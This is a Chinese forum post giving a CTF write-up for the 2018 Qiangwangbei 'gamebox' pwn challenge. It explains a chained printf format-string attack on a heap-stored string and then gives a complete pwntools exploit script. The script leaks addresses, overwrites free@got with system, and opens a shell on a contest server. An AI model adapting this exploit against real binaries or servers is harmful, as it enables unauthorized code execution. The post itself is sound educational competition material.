学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1157

主题
发表于 2020-9-3 22:10:00 | 查看: 3531| 回复: 0

相关题目:

♦ gamebox

  参考:
  https://www.cnblogs.com/hac425/p/9416787.html
  http://tacxingxing.com/2018/03/28/2018qwb/

  事后复盘pwn,对于Gamebox一题发现网上wp都是大佬们利用堆玩出花,本菜鸡看到有printf格式化字符串漏洞,而且也没有防护,就想试试。但是难点在于printf(s)的s在堆上

强网杯qwb_2018_pwn_gamebox

强网杯qwb_2018_pwn_gamebox
  由于printf(s)的s在堆上,利用起来没有栈上好用,需要在栈上找到这么一块内存。
stack: param 15 -> param 41 -> param X -> free@got (X每次运行都不同,需要计算)
通过 %10c%15$hhn 修改 param 41 的内容
通过 %10c%41$hhn 修改 param X 的内容,让其指向free@got
通过 %10c%966$hhn 修改 free@got的内容
  
如果没有param15,那么 param 41修改param X就会比较困难,hhn改1字节,hn改2字节,使用%n会不稳定。原来param X的内容很可能在栈上,需要修改3字节甚至更多,所以多一个param 15控制param 41,让整个格式化控制链更容易。

#!/usr/bin/env python2
# -*- coding:utf8 -*-
# execve generated by ROPgadget

import struct
from pwn import *
from pwnlib.util.proc import wait_for_debugger


#context(os='linux', arch='i386', log_level='debug') #i386 or amd64

#用python xxx.py elf 1调用远程
local = len(sys.argv) == 2

elf = ELF(sys.argv[1])

if local:
    io = process(sys.argv[1])
    #libc = ELF("/lib/i386-linux-gnu/libc.so.6") #32bit
    libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #64bit
    #raw_input("wait for debugger:")
    #io = remote("localhost", 10001)
else:
    io = remote("106.2.25.7", 8001)
    libc = ELF("libc-2.23.so")

    
"""
puts("Welcome to Pig's GameBox!");
puts("(P)lay GUESS WORDS");
puts("(S)how RANK");
puts("(D)elete RANK");
puts("(C)hange RANK");
puts("(E)xit");
"""

def fuzz_guess_words(code,name_len,name):
    io.sendlineafter("(E)xit","P")
    io.sendlineafter("what I write:",code)
    pass
    
def play_guess_words(code,name_len,name):
    io.sendlineafter("(E)xit","P")
    io.sendlineafter("what I write:",code)
    io.sendlineafter(" name length:",str(name_len))
    io.sendlineafter("your name:",name)

def show_rank():
    io.sendlineafter("(E)xit","S")
    
def delete_rank(idx,code):
    io.sendlineafter("(E)xit","D")
    io.sendlineafter("Input index:",str(idx))
    io.sendlineafter("Input Cookie:",code)
    
s = """
NWLRBBMQBHCDARZOWKKYHIDD
QSCDXRJMOWFRXSJYBLDBEFSA
RCBYNECDYGGXXPKLORELLNMP
APQFWKHOPKMCOQHNWNKUEWHS
QMGBBUQCLJJIVSWMDKQTBXIX
MVTRRBLJPTNSNFWZQFJMAFAD
RRWSOFSBCNUVQHFFBSAQXWPQ
CACEHCHZVFRKMLNOZJKPQPXR
JXKITZYXACBHHKICQCOENDTO
MFGDWDWFCGPXIQVKUYTDLCGD
EWHTACIOHORDTQKVWCSGSPQO
QMSBOAGUWNNYQXNZLGDGWPBT
RWBLNSADEUGUUMOQCDRUBETO
KYXHOACHWDVMXXRDRYXLMNDQ
TUKWAGMLEJUUKWCIBXUBUMEN
MEYATDRMYDIAJXLOGHIQFMZH
LVIHJOUVSUYOYPAYULYEIMUO
TEHZRIICFSKPGGKBBIPZZRZU
CXAMLUDFYKGRUOWZGIOOOBPP
LEQLWPHAPJNADQHDCNVWDTXJ
BMYPPPHAUXNSPUSGDHIIXQMB
FJXJCVUDJSUYIBYEBMWSIQYO
YGYXYMZEVYPZVJEGEBEOCFUF
TSXDIXTIGSIEEHKCHZDFLILR
JQFNXZTQRSVBSPKYHSENBPPK
QTPDDBUOTBBQCWIVRFXJUJJD
DNTGEIQVDGAIJVWCYAUBWEWP
JVYGEHLJXEPBPIWUQZDZUBDU
""".replace("\n","").replace(" ","")
codes = [s[i*24:i*24+24] for i in range(len(s)/24)]
# print "codes",len(codes)

#fuzz the code
# wait_for_debugger(io.pid)
# while True:
    # fuzz_guess_words('a',20,"aa")

cidx = 0
#leak elf base
play_guess_words(codes[cidx],20,"%9$p..")
cidx +=1
#leak libc base
play_guess_words(codes[cidx],20,"%13$p..")
cidx +=1
#leap rsp
play_guess_words(codes[cidx],20,"%8$p..")
cidx += 1
#leap param 41
play_guess_words(codes[cidx],20,"%41$p..") #打印%41处地址
cidx += 1

#一个show_rank可以一次泄露,也可以多次show_rank
show_rank()

io.recvuntil("0:")
main_addr = int(io.recvuntil("..",drop=True),16) - 0x61
elf_base = main_addr - 6260
success("elf_base: %x"%elf_base)

io.recvuntil("1:")
__libc_start_main_addr = int(io.recvuntil("..",drop=True),16) - 0xf0
libc_base = __libc_start_main_addr - libc.symbols["__libc_start_main"]
success("libc_base: %x"%libc_base)


system_addr = libc_base + libc.symbols["system"]
free_addr = libc_base + libc.symbols["free"]
free_got = elf_base + elf.got["free"]
success("system_addr: %x"%system_addr)
success("free_addr: %x"%free_addr)
success("free_got: %x"%free_got)


io.recvuntil("2:")
rsp_addr = int(io.recvuntil("..",drop=True),16) - 0x30
success("rsp address: %x"%rsp_addr)

#stack: param15 -> param41 -> param X(未对齐)
io.recvuntil("3:")
param_41_addr = int(io.recvuntil("..",drop=True),16)
success("param 41 content: %x"%param_41_addr)

# 清理
delete_rank(0,codes[0])
delete_rank(1,codes[1])
delete_rank(2,codes[2])
delete_rank(3,codes[3])

def hhn_payload(x,pos):
    if x == 0:
        payload = pos
    else:
        payload = "%"+str(x)+"c"+ pos
        
    return payload

def hn_payload(x,pos):
    if x == 0:
        payload = pos
    else:
        payload = "%"+str(x)+"c"+ pos
        
    return payload

#修正param_41_addr与栈对齐    
#stack: param15 -> param41 -> param X(已对齐)
if param_41_addr % 8 != 0:
    diff = 8 - param_41_addr %8 #需要进位7fff0ecdd2fd
    hn = (param_41_addr + diff) & 0xffff
    payload = hn_payload(hn,"%15$hn")
    play_guess_words(codes[cidx],20,payload)
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1
    param_41_addr += diff
    success("param 41 content adjust: %x"%param_41_addr)


#将param X内容改为free_got
for i in range(8):
    #修改一位param X
    hhn = ((free_got >> (8*i) & 0xff))%256
    # print 'hhn',i,hhn
    payload = hhn_payload(hhn,"%41$hhn")
    
    play_guess_words(codes[cidx],20,payload)
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1
    
    if i == 7:
        break
    
    #修改一位param 41
    hhn = (param_41_addr + i + 1)&0xff
    payload = hhn_payload(hhn,"%15$hhn")
        
    play_guess_words(codes[cidx],20,payload) #param41 += 1
    show_rank()
    delete_rank(0,codes[cidx])
    cidx += 1

#修改param41对应的地方,是程序名处,所以ida2pwntools就不能用了:P
#接下来就不能delete了,一般free_addr和system_addr相差3位



#先将param41的内容归位,指向param X(对齐)处。这里有可能进位了,但是概率比较少
hn = (param_41_addr)&0xffff
payload = hn_payload(hn,"%15$hn a")
play_guess_words(codes[cidx],20,payload) 
cidx += 1

param_idx = (param_41_addr - rsp_addr)/8 + 6 #8字节对齐,前6位在寄存器中
success("param_idx: %d"%param_idx)
for i in range(3):
    #修改free_got低3字节
    hhn = ((system_addr >> (8*i) & 0xff))%256
    payload = hhn_payload(hhn,"%"+str(param_idx)+"$hhn b"+str(i))
    play_guess_words(codes[cidx],20,payload)
    cidx += 1
    
    if i == 2:
        break
    
    #修改 paramX -> free_got[i+1]
    hhn = (free_got + i + 1)&0xff
    payload = hhn_payload(hhn,"%41$hhn c"+str(i))
    play_guess_words(codes[cidx],20,payload) 
    cidx += 1
    
#构造好串:param41的内容归位,修改free_got[0],修改param943+=1,修改free_got[1],修改param943+=1,修改free_got[2]
# wait_for_debugger(io.pid)
show_rank()

# 用free("/bin/sh") 进行 get_shell
play_guess_words(codes[cidx],20,"/bin/sh") 
delete_rank(6,codes[cidx])
cidx +=1 

io.interactive()
  仅做记录,如有不妥请大佬们指正。  


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-3-29 17:56 , Processed in 0.101977 second(s), 42 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表